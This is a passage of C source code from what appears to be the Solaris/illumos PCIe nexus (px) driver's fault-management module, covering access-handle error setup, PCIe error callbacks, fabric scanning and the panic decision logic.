ap->ahi_put8 = i_ddi_prot_put8;
ap->ahi_put16 = i_ddi_prot_put16;
ap->ahi_put32 = i_ddi_prot_put32;
ap->ahi_put64 = i_ddi_prot_put64;
ap->ahi_rep_get8 = i_ddi_prot_rep_get8;
ap->ahi_rep_get16 = i_ddi_prot_rep_get16;
ap->ahi_rep_get32 = i_ddi_prot_rep_get32;
ap->ahi_rep_get64 = i_ddi_prot_rep_get64;
ap->ahi_rep_put8 = i_ddi_prot_rep_put8;
ap->ahi_rep_put16 = i_ddi_prot_rep_put16;
ap->ahi_rep_put32 = i_ddi_prot_rep_put32;
ap->ahi_rep_put64 = i_ddi_prot_rep_put64;
impl_acc_err_init(hp);
errp = ((ddi_acc_impl_t *)hp)->ahi_err;
if ((rp->pci_phys_hi & PCI_REG_ADDR_M) ==
PCI_ADDR_CONFIG)
errp->err_cf = px_err_cfg_hdl_check;
else
errp->err_cf = px_err_pio_hdl_check;
break;
case DDI_CAUTIOUS_ACC :
ap->ahi_get8 = i_ddi_caut_get8;
ap->ahi_get16 = i_ddi_caut_get16;
ap->ahi_get32 = i_ddi_caut_get32;
ap->ahi_get64 = i_ddi_caut_get64;
ap->ahi_put8 = i_ddi_caut_put8;
ap->ahi_put16 = i_ddi_caut_put16;
ap->ahi_put32 = i_ddi_caut_put32;
ap->ahi_put64 = i_ddi_caut_put64;
ap->ahi_rep_get8 = i_ddi_caut_rep_get8;
ap->ahi_rep_get16 = i_ddi_caut_rep_get16;
ap->ahi_rep_get32 = i_ddi_caut_rep_get32;
ap->ahi_rep_get64 = i_ddi_caut_rep_get64;
ap->ahi_rep_put8 = i_ddi_caut_rep_put8;
ap->ahi_rep_put16 = i_ddi_caut_rep_put16;
ap->ahi_rep_put32 = i_ddi_caut_rep_put32;
ap->ahi_rep_put64 = i_ddi_caut_rep_put64;
impl_acc_err_init(hp);
errp = ((ddi_acc_impl_t *)hp)->ahi_err;
if ((rp->pci_phys_hi & PCI_REG_ADDR_M) ==
PCI_ADDR_CONFIG)
errp->err_cf = px_err_cfg_hdl_check;
else
errp->err_cf = px_err_pio_hdl_check;
break;
default:
/* Illegal state, remove the handle from cache */
ndi_fmc_remove(rdip, ACC_HANDLE, (void *)hp);
break;
}
} else if (mp->map_op == DDI_MO_UNMAP) {
ndi_fmc_remove(rdip, ACC_HANDLE, (void *)hp);
}
}
/*
* Function used to initialize FMA for our children nodes. Called
* through pci busops when child node calls ddi_fm_init.
*/
/*ARGSUSED*/
int
px_fm_init_child(dev_info_t *dip, dev_info_t *cdip, int cap,
ddi_iblock_cookie_t *ibc_p)
{
px_t *px_p = DIP_TO_STATE(dip);
ASSERT(ibc_p != NULL);
*ibc_p = px_p->px_fm_ibc;
return (px_p->px_fm_cap);
}
/*
* lock access for exclusive PCIe access
*/
void
px_bus_enter(dev_info_t *dip, ddi_acc_handle_t handle)
{
px_pec_t *pec_p = ((px_t *)DIP_TO_STATE(dip))->px_pec_p;
/*
* Exclusive access has been used for cautious put/get,
* Both utilize i_ddi_ontrap which, on sparcv9, implements
* similar protection as what on_trap() does, and which calls
* membar #Sync to flush out all cpu deferred errors
* prior to get/put operation, so here we're not calling
* membar #Sync - a difference from what's in pci_bus_enter().
*/
mutex_enter(&pec_p->pec_pokefault_mutex);
pec_p->pec_acc_hdl = handle;
}
/*
* unlock access for exclusive PCIe access
*/
/* ARGSUSED */
void
px_bus_exit(dev_info_t *dip, ddi_acc_handle_t handle)
{
px_t *px_p = DIP_TO_STATE(dip);
px_pec_t *pec_p = px_p->px_pec_p;
pec_p->pec_acc_hdl = NULL;
mutex_exit(&pec_p->pec_pokefault_mutex);
}
static uint64_t
px_in_addr_range(dev_info_t *dip, pci_ranges_t *ranges_p, uint64_t addr)
{
uint64_t addr_low, addr_high;
addr_low = (uint64_t)(ranges_p->parent_high & px_ranges_phi_mask) << 32;
addr_low |= (uint64_t)ranges_p->parent_low;
addr_high = addr_low + ((uint64_t)ranges_p->size_high << 32) +
(uint64_t)ranges_p->size_low;
DBG(DBG_ERR_INTR, dip, "Addr: 0x%llx high: 0x%llx low: 0x%llx\n",
addr, addr_high, addr_low);
if ((addr < addr_high) && (addr >= addr_low))
return (addr_low);
return (0);
}
/*
* PCI error callback which is registered with our parent to call
* for PCIe logging when the CPU traps due to PCIe Uncorrectable Errors
* and PCI BERR/TO/UE on IO Loads.
*/
/*ARGSUSED*/
int
px_fm_callback(dev_info_t *dip, ddi_fm_error_t *derr, const void *impl_data)
{
dev_info_t *pdip = ddi_get_parent(dip);
px_t *px_p = (px_t *)impl_data;
int i, acc_type = 0;
int lookup, rc_err, fab_err;
uint64_t addr, base_addr;
uint64_t fault_addr = (uint64_t)derr->fme_bus_specific;
pcie_req_id_t bdf = PCIE_INVALID_BDF;
pci_ranges_t *ranges_p;
int range_len;
pf_data_t *pfd_p;
/*
* If the current thread already owns the px_fm_mutex, then we
* have encountered an error while processing a previous
* error. Attempting to take the mutex again will cause the
* system to deadlock.
*/
if (px_p->px_fm_mutex_owner == curthread)
return (DDI_FM_FATAL);
i_ddi_fm_handler_exit(pdip);
if (px_fm_enter(px_p) != DDI_SUCCESS) {
i_ddi_fm_handler_enter(pdip);
return (DDI_FM_FATAL);
}
/*
* Make sure this failed load came from this PCIe port. Check by
* matching the upper 32 bits of the address with the ranges property.
*/
range_len = px_p->px_ranges_length / sizeof (pci_ranges_t);
i = 0;
for (ranges_p = px_p->px_ranges_p; i < range_len; i++, ranges_p++) {
base_addr = px_in_addr_range(dip, ranges_p, fault_addr);
if (base_addr) {
switch (ranges_p->child_high & PCI_ADDR_MASK) {
case PCI_ADDR_CONFIG:
acc_type = PF_ADDR_CFG;
addr = 0;
bdf = (pcie_req_id_t)((fault_addr >> 12) &
0xFFFF);
break;
case PCI_ADDR_IO:
case PCI_ADDR_MEM64:
case PCI_ADDR_MEM32:
acc_type = PF_ADDR_PIO;
addr = fault_addr - base_addr;
bdf = PCIE_INVALID_BDF;
break;
}
break;
}
}
/* This address doesn't belong to this leaf, just return with OK */
if (!acc_type) {
px_fm_exit(px_p);
i_ddi_fm_handler_enter(pdip);
return (DDI_FM_OK);
}
rc_err = px_err_cmn_intr(px_p, derr, PX_TRAP_CALL, PX_FM_BLOCK_ALL);
lookup = pf_hdl_lookup(dip, derr->fme_ena, acc_type, (uint64_t)addr,
bdf);
pfd_p = px_rp_en_q(px_p, bdf, addr,
(PCI_STAT_R_MAST_AB | PCI_STAT_R_TARG_AB));
PCIE_ROOT_EH_SRC(pfd_p)->intr_type = PF_INTR_TYPE_DATA;
/* Update affected info, either addr or bdf is not NULL */
if (addr) {
PFD_AFFECTED_DEV(pfd_p)->pe_affected_flags = PF_AFFECTED_ADDR;
} else if (PCIE_CHECK_VALID_BDF(bdf)) {
PFD_AFFECTED_DEV(pfd_p)->pe_affected_flags = PF_AFFECTED_BDF;
PFD_AFFECTED_DEV(pfd_p)->pe_affected_bdf = bdf;
}
fab_err = px_scan_fabric(px_p, dip, derr);
px_fm_exit(px_p);
i_ddi_fm_handler_enter(pdip);
if (!px_die)
return (DDI_FM_OK);
if ((rc_err & (PX_PANIC | PX_PROTECTED)) ||
(fab_err & PF_ERR_FATAL_FLAGS) ||
(lookup == PF_HDL_NOTFOUND))
return (DDI_FM_FATAL);
else if ((rc_err == PX_NO_ERROR) && (fab_err == PF_ERR_NO_ERROR))
return (DDI_FM_OK);
return (DDI_FM_NONFATAL);
}
/*
* px_err_fabric_intr:
* Interrupt handler for PCIE fabric block.
* o lock
* o create derr
* o px_err_cmn_intr(leaf, with jbc)
* o send ereport(fire fmri, derr, payload = BDF)
* o dispatch (leaf)
* o unlock
* o handle error: fatal? fm_panic() : return INTR_CLAIMED)
*/
/* ARGSUSED */
uint_t
px_err_fabric_intr(px_t *px_p, msgcode_t msg_code, pcie_req_id_t rid)
{
dev_info_t *rpdip = px_p->px_dip;
int rc_err, fab_err;
ddi_fm_error_t derr;
uint32_t rp_status;
uint16_t ce_source, ue_source;
pf_data_t *pfd_p;
if (px_fm_enter(px_p) != DDI_SUCCESS)
goto done;
/* Create the derr */
bzero(&derr, sizeof (ddi_fm_error_t));
derr.fme_version = DDI_FME_VERSION;
derr.fme_ena = fm_ena_generate(0, FM_ENA_FMT1);
derr.fme_flag = DDI_FM_ERR_UNEXPECTED;
px_err_safeacc_check(px_p, &derr);
if (msg_code == PCIE_MSG_CODE_ERR_COR) {
rp_status = PCIE_AER_RE_STS_CE_RCVD;
ce_source = rid;
ue_source = 0;
} else {
rp_status = PCIE_AER_RE_STS_FE_NFE_RCVD;
ce_source = 0;
ue_source = rid;
if (msg_code == PCIE_MSG_CODE_ERR_NONFATAL)
rp_status |= PCIE_AER_RE_STS_NFE_MSGS_RCVD;
else {
rp_status |= PCIE_AER_RE_STS_FE_MSGS_RCVD;
rp_status |= PCIE_AER_RE_STS_FIRST_UC_FATAL;
}
}
if (derr.fme_flag == DDI_FM_ERR_UNEXPECTED) {
ddi_fm_ereport_post(rpdip, PCI_ERROR_SUBCLASS "." PCIEX_FABRIC,
derr.fme_ena,
DDI_NOSLEEP, FM_VERSION, DATA_TYPE_UINT8, 0,
FIRE_PRIMARY, DATA_TYPE_BOOLEAN_VALUE, B_TRUE,
"pcie_adv_rp_status", DATA_TYPE_UINT32, rp_status,
"pcie_adv_rp_command", DATA_TYPE_UINT32, 0,
"pcie_adv_rp_ce_src_id", DATA_TYPE_UINT16, ce_source,
"pcie_adv_rp_ue_src_id", DATA_TYPE_UINT16, ue_source,
NULL);
}
/* Ensure that the rid of the fabric message will get scanned. */
pfd_p = px_rp_en_q(px_p, rid, 0, 0);
PCIE_ROOT_EH_SRC(pfd_p)->intr_type = PF_INTR_TYPE_FABRIC;
rc_err = px_err_cmn_intr(px_p, &derr, PX_INTR_CALL, PX_FM_BLOCK_PCIE);
/* call rootport dispatch */
fab_err = px_scan_fabric(px_p, rpdip, &derr);
px_err_panic(rc_err, PX_RC, fab_err, B_TRUE);
px_fm_exit(px_p);
px_err_panic(rc_err, PX_RC, fab_err, B_FALSE);
done:
return (DDI_INTR_CLAIMED);
}
/*
* px_scan_fabric:
*
* Check for drain state and if there is anything to scan.
*
* Note on pfd: Different interrupts will populate the pfd's differently. The
* px driver can have a total of 5 different error sources, so it has a queue of
* 5 pfds. Each valid PDF is linked together and passed to pf_scan_fabric.
*
* Each error handling will populate the following info in the pfd
*
* Root Fault Intr Src Affected BDF
* ----------------+---------------+------------
* Callback/CPU Trap Address/BDF |DATA |Lookup Addr
* Mondo 62/63 (sun4u) decode error |N/A |N/A
* EPKT (sun4v) decode epkt |INTERNAL |decode epkt
* Fabric Message fabric payload |FABRIC |NULL
* Peek/Poke Address/BDF |NULL |NULL
* ----------------+---------------+------------
*/
int
px_scan_fabric(px_t *px_p, dev_info_t *rpdip, ddi_fm_error_t *derr) {
int fab_err = 0;
ASSERT(MUTEX_HELD(&px_p->px_fm_mutex));
if (!px_lib_is_in_drain_state(px_p) && px_p->px_pfd_idx) {
fab_err = pf_scan_fabric(rpdip, derr, px_p->px_pfd_arr);
}
return (fab_err);
}
/*
* px_err_safeacc_check:
* Check to see if a peek/poke and cautious access is currently being
* done on a particular leaf.
*
* Safe access reads induced fire errors will be handled by cpu trap handler
* which will call px_fm_callback() which calls this function. In that
* case, the derr fields will be set by trap handler with the correct values.
*
* Safe access writes induced errors will be handled by px interrupt
* handlers, this function will fill in the derr fields.
*
* If a cpu trap does occur, it will quiesce all other interrupts allowing
* the cpu trap error handling to finish before Fire receives an interrupt.
*
* If fire does indeed have an error when a cpu trap occurs as a result of
* a safe access, a trap followed by a Mondo/Fabric interrupt will occur.
* In which case derr will be initialized as "UNEXPECTED" by the interrupt
* handler and this function will need to find if this error occured in the
* middle of a safe access operation.
*
* @param px_p leaf in which to check access
* @param derr fm err data structure to be updated
*/
void
px_err_safeacc_check(px_t *px_p, ddi_fm_error_t *derr)
{
px_pec_t *pec_p = px_p->px_pec_p;
int acctype = pec_p->pec_safeacc_type;
ASSERT(MUTEX_HELD(&px_p->px_fm_mutex));
if (derr->fme_flag != DDI_FM_ERR_UNEXPECTED) {
return;
}
/* safe access checking */
switch (acctype) {
case DDI_FM_ERR_EXPECTED:
/*
* cautious access protection, protected from all err.
*/
ddi_fm_acc_err_get(pec_p->pec_acc_hdl, derr,
DDI_FME_VERSION);
derr->fme_flag = acctype;
derr->fme_acc_handle = pec_p->pec_acc_hdl;
break;
case DDI_FM_ERR_POKE:
/*
* ddi_poke protection, check nexus and children for
* expected errors.
*/
membar_sync();
derr->fme_flag = acctype;
break;
case DDI_FM_ERR_PEEK:
derr->fme_flag = acctype;
break;
}
}
/*
* Suggest panic if any EQ (except CE q) has overflown.
*/
int
px_err_check_eq(dev_info_t *dip)
{
px_t *px_p = DIP_TO_STATE(dip);
px_msiq_state_t *msiq_state_p = &px_p->px_ib_p->ib_msiq_state;
px_pec_t *pec_p = px_p->px_pec_p;
msiqid_t eq_no = msiq_state_p->msiq_1st_msiq_id;
pci_msiq_state_t msiq_state;
int i;
for (i = 0; i < msiq_state_p->msiq_cnt; i++) {
if (i + eq_no == pec_p->pec_corr_msg_msiq_id) /* skip CE q */
continue;
if ((px_lib_msiq_getstate(dip, i + eq_no, &msiq_state) !=
DDI_SUCCESS) || msiq_state == PCI_MSIQ_STATE_ERROR)
return (PX_PANIC);
}
return (PX_NO_PANIC);
}
/* ARGSUSED */
int
px_err_check_pcie(dev_info_t *dip, ddi_fm_error_t *derr, px_err_pcie_t *regs,
pf_intr_type_t intr_type)
{
px_t *px_p = DIP_TO_STATE(dip);
pf_data_t *pfd_p = px_get_pfd(px_p);
int i;
pf_pcie_adv_err_regs_t *adv_reg = PCIE_ADV_REG(pfd_p);
PCIE_ROOT_EH_SRC(pfd_p)->intr_type = intr_type;
/*
* set RC s_status in PCI term to coordinate with downstream fabric
* errors ananlysis.
*/
if (regs->primary_ue & PCIE_AER_UCE_UR)
PCI_BDG_ERR_REG(pfd_p)->pci_bdg_sec_stat = PCI_STAT_R_MAST_AB;
if (regs->primary_ue & PCIE_AER_UCE_CA)
PCI_BDG_ERR_REG(pfd_p)->pci_bdg_sec_stat = PCI_STAT_R_TARG_AB;
if (regs->primary_ue & (PCIE_AER_UCE_PTLP | PCIE_AER_UCE_ECRC))
PCI_BDG_ERR_REG(pfd_p)->pci_bdg_sec_stat = PCI_STAT_PERROR;
if (!regs->primary_ue)
goto done;
adv_reg->pcie_ce_status = regs->ce_reg;
adv_reg->pcie_ue_status = regs->ue_reg | regs->primary_ue;
PCIE_ADV_HDR(pfd_p, 0) = regs->rx_hdr1;
PCIE_ADV_HDR(pfd_p, 1) = regs->rx_hdr2;
PCIE_ADV_HDR(pfd_p, 2) = regs->rx_hdr3;
PCIE_ADV_HDR(pfd_p, 3) = regs->rx_hdr4;
for (i = regs->primary_ue; i != 1; i = i >> 1)
adv_reg->pcie_adv_ctl++;
if (regs->primary_ue & (PCIE_AER_UCE_UR | PCIE_AER_UCE_CA)) {
if (pf_tlp_decode(PCIE_DIP2BUS(dip), adv_reg) == DDI_SUCCESS)
PCIE_ROOT_FAULT(pfd_p)->scan_bdf =
adv_reg->pcie_ue_tgt_bdf;
} else if (regs->primary_ue & PCIE_AER_UCE_PTLP) {
if (pf_tlp_decode(PCIE_DIP2BUS(dip), adv_reg) == DDI_SUCCESS) {
PCIE_ROOT_FAULT(pfd_p)->scan_bdf =
adv_reg->pcie_ue_tgt_bdf;
if (adv_reg->pcie_ue_tgt_trans ==
PF_ADDR_PIO)
PCIE_ROOT_FAULT(pfd_p)->scan_addr =
adv_reg->pcie_ue_tgt_addr;
}
/*
* Normally for Poisoned Completion TLPs we can look at the
* transmit log header for the original request and the original
* address, however this doesn't seem to be working. HW BUG.
*/
}
done:
px_pcie_log(dip, regs);
/* Return No Error here and let the pcie misc module analyse it */
return (PX_NO_ERROR);
}
#if defined(DEBUG)
static void
px_pcie_log(dev_info_t *dip, px_err_pcie_t *regs)
{
DBG(DBG_ERR_INTR, dip,
"A PCIe RC error has occured\n"
"\tCE: 0x%x UE: 0x%x Primary UE: 0x%x\n"
"\tTX Hdr: 0x%x 0x%x 0x%x 0x%x\n\tRX Hdr: 0x%x 0x%x 0x%x 0x%x\n",
regs->ce_reg, regs->ue_reg, regs->primary_ue,
regs->tx_hdr1, regs->tx_hdr2, regs->tx_hdr3, regs->tx_hdr4,
regs->rx_hdr1, regs->rx_hdr2, regs->rx_hdr3, regs->rx_hdr4);
}
#endif
/*
* look through poisoned TLP cases and suggest panic/no panic depend on
* handle lookup.
*/
static int
px_pcie_ptlp(dev_info_t *dip, ddi_fm_error_t *derr, px_err_pcie_t *regs)
{
pf_pcie_adv_err_regs_t adv_reg;
pcie_req_id_t bdf;
uint64_t addr;
uint32_t trans_type;
int tlp_sts, tlp_cmd;
int lookup = PF_HDL_NOTFOUND;
if (regs->primary_ue != PCIE_AER_UCE_PTLP)
return (PX_PANIC);
if (!regs->rx_hdr1)
goto done;
adv_reg.pcie_ue_hdr[0] = regs->rx_hdr1;
adv_reg.pcie_ue_hdr[1] = regs->rx_hdr2;
adv_reg.pcie_ue_hdr[2] = regs->rx_hdr3;
adv_reg.pcie_ue_hdr[3] = regs->rx_hdr4;
tlp_sts = pf_tlp_decode(PCIE_DIP2BUS(dip), &adv_reg);
tlp_cmd = ((pcie_tlp_hdr_t *)(adv_reg.pcie_ue_hdr))->type;
if (tlp_sts == DDI_FAILURE)
goto done;
bdf = adv_reg.pcie_ue_tgt_bdf;
addr = adv_reg.pcie_ue_tgt_addr;
trans_type = adv_reg.pcie_ue_tgt_trans;
switch (tlp_cmd) {
case PCIE_TLP_TYPE_CPL:
case PCIE_TLP_TYPE_CPLLK:
/*
* Usually a PTLP is a CPL with data. Grab the completer BDF
* from the RX TLP, and the original address from the TX TLP.
*/
if (regs->tx_hdr1) {
adv_reg.pcie_ue_hdr[0] = regs->tx_hdr1;
adv_reg.pcie_ue_hdr[1] = regs->tx_hdr2;
adv_reg.pcie_ue_hdr[2] = regs->tx_hdr3;
adv_reg.pcie_ue_hdr[3] = regs->tx_hdr4;
lookup = pf_tlp_decode(PCIE_DIP2BUS(dip), &adv_reg);
if (lookup != DDI_SUCCESS)
break;
addr = adv_reg.pcie_ue_tgt_addr;
trans_type = adv_reg.pcie_ue_tgt_trans;
} /* FALLTHRU */
case PCIE_TLP_TYPE_IO:
case PCIE_TLP_TYPE_MEM:
case PCIE_TLP_TYPE_MEMLK:
lookup = pf_hdl_lookup(dip, derr->fme_ena, trans_type, addr,
bdf);
break;
default:
lookup = PF_HDL_NOTFOUND;
}
done:
return (lookup == PF_HDL_FOUND ? PX_NO_PANIC : PX_PANIC);
}
/*
* px_get_pdf automatically allocates a RC pf_data_t and returns a pointer to
* it. This function should be used when an error requires a fabric scan.
*/
pf_data_t *
px_get_pfd(px_t *px_p) {
int idx = px_p->px_pfd_idx++;
pf_data_t *pfd_p = &px_p->px_pfd_arr[idx];
/* Clear Old Data */
PCIE_ROOT_FAULT(pfd_p)->scan_bdf = PCIE_INVALID_BDF;
PCIE_ROOT_FAULT(pfd_p)->scan_addr = 0;
PCIE_ROOT_EH_SRC(pfd_p)->intr_type = PF_INTR_TYPE_NONE;
PCIE_ROOT_EH_SRC(pfd_p)->intr_data = NULL;
PFD_AFFECTED_DEV(pfd_p)->pe_affected_flags = 0;
PFD_AFFECTED_DEV(pfd_p)->pe_affected_bdf = PCIE_INVALID_BDF;
PCI_BDG_ERR_REG(pfd_p)->pci_bdg_sec_stat = 0;
PCIE_ADV_REG(pfd_p)->pcie_ce_status = 0;
PCIE_ADV_REG(pfd_p)->pcie_ue_status = 0;
PCIE_ADV_REG(pfd_p)->pcie_adv_ctl = 0;
pfd_p->pe_next = NULL;
if (idx > 0) {
px_p->px_pfd_arr[idx - 1].pe_next = pfd_p;
pfd_p->pe_prev = &px_p->px_pfd_arr[idx - 1];
} else {
pfd_p->pe_prev = NULL;
}
pfd_p->pe_severity_flags = 0;
pfd_p->pe_severity_mask = 0;
pfd_p->pe_orig_severity_flags = 0;
pfd_p->pe_valid = B_TRUE;
return (pfd_p);
}
/*
* This function appends a pf_data structure to the error q which is used later
* during PCIe fabric scan. It signifies:
* o errs rcvd in RC, that may have been propagated to/from the fabric
* o the fabric scan code should scan the device path of fault bdf/addr
*
* scan_bdf: The bdf that caused the fault, which may have error bits set.
* scan_addr: The PIO addr that caused the fault, such as failed PIO, but not
* failed DMAs.
* s_status: Secondary Status equivalent to why the fault occured.
* (ie S-TA/MA, R-TA)
* Either the scan bdf or addr may be NULL, but not both.
*/
pf_data_t *
px_rp_en_q(px_t *px_p, pcie_req_id_t scan_bdf, uint32_t scan_addr,
uint16_t s_status)
{
pf_data_t *pfd_p;
if (!PCIE_CHECK_VALID_BDF(scan_bdf) && !scan_addr)
return (NULL);
pfd_p = px_get_pfd(px_p);
PCIE_ROOT_FAULT(pfd_p)->scan_bdf = scan_bdf;
PCIE_ROOT_FAULT(pfd_p)->scan_addr = (uint64_t)scan_addr;
PCI_BDG_ERR_REG(pfd_p)->pci_bdg_sec_stat = s_status;
return (pfd_p);
}
/*
* Find and Mark CFG Handles as failed associated with the given BDF. We should
* always know the BDF for CFG accesses, since it is encoded in the address of
* the TLP. Since there can be multiple cfg handles, mark them all as failed.
*/
/* ARGSUSED */
int
px_err_cfg_hdl_check(dev_info_t *dip, const void *handle, const void *arg1,
const void *arg2)
{
int status = DDI_FM_FATAL;
uint32_t addr = *(uint32_t *)arg1;
uint16_t bdf = *(uint16_t *)arg2;
pcie_bus_t *bus_p;
DBG(DBG_ERR_INTR, dip, "Check CFG Hdl: dip 0x%p addr 0x%x bdf=0x%x\n",
dip, addr, bdf);
bus_p = PCIE_DIP2BUS(dip);
/*
* Because CFG and IO Acc Handlers are on the same cache list and both
* types of hdls gets called for both types of errors. For this checker
* only mark the device as "Non-Fatal" if the addr == NULL and bdf !=
* NULL.
*/
status = (!addr && (PCIE_CHECK_VALID_BDF(bdf) &&
(bus_p->bus_bdf == bdf))) ? DDI_FM_NONFATAL : DDI_FM_FATAL;
return (status);
}
/*
* Find and Mark all ACC Handles associated with a give address and BDF as
* failed. If the BDF != NULL, then check to see if the device has a ACC Handle
* associated with ADDR. If the handle is not found, mark all the handles as
* failed. If the BDF == NULL, mark the handle as failed if it is associated
* with ADDR.
*/
int
px_err_pio_hdl_check(dev_info_t *dip, const void *handle, const void *arg1,
const void *arg2)
{
dev_info_t *px_dip;
px_t *px_p;
pci_ranges_t *ranges_p;
int range_len;
ddi_acc_handle_t ap = (ddi_acc_handle_t)handle;
ddi_acc_hdl_t *hp = impl_acc_hdl_get(ap);
int i, status = DDI_FM_FATAL;
uint64_t fault_addr = *(uint64_t *)arg1;
uint16_t bdf = *(uint16_t *)arg2;
uint64_t base_addr, range_addr;
uint_t size;
/*
* Find the correct px dip. On system with a real Root Port, it's the
* node above the root port. On systems without a real Root Port the px
* dip is the bus_rp_dip.
*/
px_dip = PCIE_DIP2BUS(dip)->bus_rp_dip;
if (!PCIE_IS_RC(PCIE_DIP2BUS(px_dip)))
px_dip = ddi_get_parent(px_dip);
ASSERT(PCIE_IS_RC(PCIE_DIP2BUS(px_dip)));
px_p = INST_TO_STATE(ddi_get_instance(px_dip));
DBG(DBG_ERR_INTR, dip, "Check PIO Hdl: dip 0x%x addr 0x%x bdf=0x%x\n",
dip, fault_addr, bdf);
/* Normalize the base addr to the addr and strip off the HB info. */
base_addr = (hp->ah_pfn << MMU_PAGESHIFT) + hp->ah_offset;
range_len = px_p->px_ranges_length / sizeof (pci_ranges_t);
i = 0;
for (ranges_p = px_p->px_ranges_p; i < range_len; i++, ranges_p++) {
range_addr = px_in_addr_range(dip, ranges_p, base_addr);
if (range_addr) {
switch (ranges_p->child_high & PCI_ADDR_MASK) {
case PCI_ADDR_IO:
case PCI_ADDR_MEM64:
case PCI_ADDR_MEM32:
base_addr = base_addr - range_addr;
break;
}
break;
}
}
/*
* Mark the handle as failed if the ADDR is mapped, or if we
* know the BDF and ADDR == 0.
*/
size = hp->ah_len;
if (((fault_addr >= base_addr) && (fault_addr < (base_addr + size))) ||
((fault_addr == 0) && (PCIE_CHECK_VALID_BDF(bdf) &&
(bdf == PCIE_DIP2BUS(dip)->bus_bdf))))
status = DDI_FM_NONFATAL;
return (status);
}
/*
* Find and Mark all DNA Handles associated with a give address and BDF as
* failed. If the BDF != NULL, then check to see if the device has a DMA Handle
* associated with ADDR. If the handle is not found, mark all the handles as
* failed. If the BDF == NULL, mark the handle as failed if it is associated
* with ADDR.
*/
int
px_err_dma_hdl_check(dev_info_t *dip, const void *handle, const void *arg1,
const void *arg2)
{
ddi_dma_impl_t *pcie_dp;
int status = DDI_FM_FATAL;
uint32_t addr = *(uint32_t *)arg1;
uint16_t bdf = *(uint16_t *)arg2;
uint32_t base_addr;
uint_t size;
DBG(DBG_ERR_INTR, dip, "Check PIO Hdl: dip 0x%x addr 0x%x bdf=0x%x\n",
dip, addr, bdf);
pcie_dp = (ddi_dma_impl_t *)handle;
base_addr = (uint32_t)pcie_dp->dmai_mapping;
size = pcie_dp->dmai_size;
/*
* Mark the handle as failed if the ADDR is mapped, or if we
* know the BDF and ADDR == 0.
*/
if (((addr >= base_addr) && (addr < (base_addr + size))) ||
((addr == 0) && PCIE_CHECK_VALID_BDF(bdf)))
status = DDI_FM_NONFATAL;
return (status);
}
int
px_fm_enter(px_t *px_p) {
if (px_panicing || (px_p->px_fm_mutex_owner == curthread))
return (DDI_FAILURE);
mutex_enter(&px_p->px_fm_mutex);
/*
* In rare cases when trap occurs and in the middle of scanning the
* fabric, a PIO will fail in the scan fabric. The CPU error handling
* code will correctly panic the system, while a mondo for the failed
* PIO may also show up. Normally the mondo will try to grab the mutex
* and wait until the callback finishes. But in this rare case,
* mutex_enter actually suceeds also continues to scan the fabric.
*
* This code below is designed specifically to check for this case. If
* we successfully grab the px_fm_mutex, the px_fm_mutex_owner better be
* NULL. If it isn't that means we are in the rare corner case. Return
* DDI_FAILURE, this should prevent PX from doing anymore error
* handling.
*/
if (px_p->px_fm_mutex_owner) {
return (DDI_FAILURE);
}
px_p->px_fm_mutex_owner = curthread;
if (px_panicing) {
px_fm_exit(px_p);
return (DDI_FAILURE);
}
/* Signal the PCIe error handling module error handling is starting */
pf_eh_enter(PCIE_DIP2BUS(px_p->px_dip));
return (DDI_SUCCESS);
}
static void
px_guest_panic(px_t *px_p)
{
pf_data_t *root_pfd_p = PCIE_DIP2PFD(px_p->px_dip);
pf_data_t *pfd_p;
pcie_bus_t *bus_p, *root_bus_p;
pcie_req_id_list_t *rl;
/*
* check if all devices under the root device are unassigned.
* this function should quickly return in non-IOV environment.
*/
root_bus_p = PCIE_PFD2BUS(root_pfd_p);
if (PCIE_BDG_IS_UNASSIGNED(root_bus_p))
return;
for (pfd_p = root_pfd_p; pfd_p; pfd_p = pfd_p->pe_next) {
bus_p = PCIE_PFD2BUS(pfd_p);
/* assume all affected devs were in the error Q */
if (!PCIE_BUS2DOM(bus_p)->nfma_panic)
continue;
if (PCIE_IS_BDG(bus_p)) {
rl = PCIE_BDF_LIST_GET(bus_p);
while (rl) {
px_panic_domain(px_p, rl->bdf);
rl = rl->next;
}
} else {
px_panic_domain(px_p, bus_p->bus_bdf);
}
/* clear panic flag */
PCIE_BUS2DOM(bus_p)->nfma_panic = B_FALSE;
}
}
void
px_fm_exit(px_t *px_p) {
px_p->px_fm_mutex_owner = NULL;
if (px_p->px_pfd_idx == 0) {
mutex_exit(&px_p->px_fm_mutex);
return;
}
/* panic the affected domains that are non-fma-capable */
px_guest_panic(px_p);
/* Signal the PCIe error handling module error handling is ending */
pf_eh_exit(PCIE_DIP2BUS(px_p->px_dip));
px_p->px_pfd_idx = 0;
mutex_exit(&px_p->px_fm_mutex);
}
/*
* Panic if the err tunable is set and that we are not already in the middle
* of panic'ing.
*
* rc_err = Error severity of PX specific errors
* msg = Where the error was detected
* fabric_err = Error severity of PCIe Fabric errors
* isTest = Test if error severity causes panic
*/
#define MSZ (sizeof (fm_msg) -strlen(fm_msg) - 1)
void
px_err_panic(int rc_err, int msg, int fabric_err, boolean_t isTest)
{
char fm_msg[96] = "";
int ferr = PX_NO_ERROR;
if (panicstr) {
px_panicing = B_TRUE;
return;
}
if (!(rc_err & px_die))
goto fabric;
if (msg & PX_RC)
(void) strncat(fm_msg, px_panic_rc_msg, MSZ);
if (msg & PX_RP)
(void) strncat(fm_msg, px_panic_rp_msg, MSZ);
if (msg & PX_HB)
(void) strncat(fm_msg, px_panic_hb_msg, MSZ);
fabric:
if (fabric_err & PF_ERR_FATAL_FLAGS)
ferr = PX_PANIC;
else if (fabric_err & ~(PF_ERR_FATAL_FLAGS | PF_ERR_NO_ERROR))
ferr = PX_NO_PANIC;
if (ferr & px_die) {
if (strlen(fm_msg)) {
(void) strncat(fm_msg, " and", MSZ);
}
(void) strncat(fm_msg, px_panic_fab_msg, MSZ);
}
if (strlen(fm_msg)) {
px_panicing = B_TRUE;
if (!isTest)
fm_panic("Fatal error has occured in:%s.(0x%x)(0x%x)",
fm_msg, rc_err, fabric_err);
}
}
|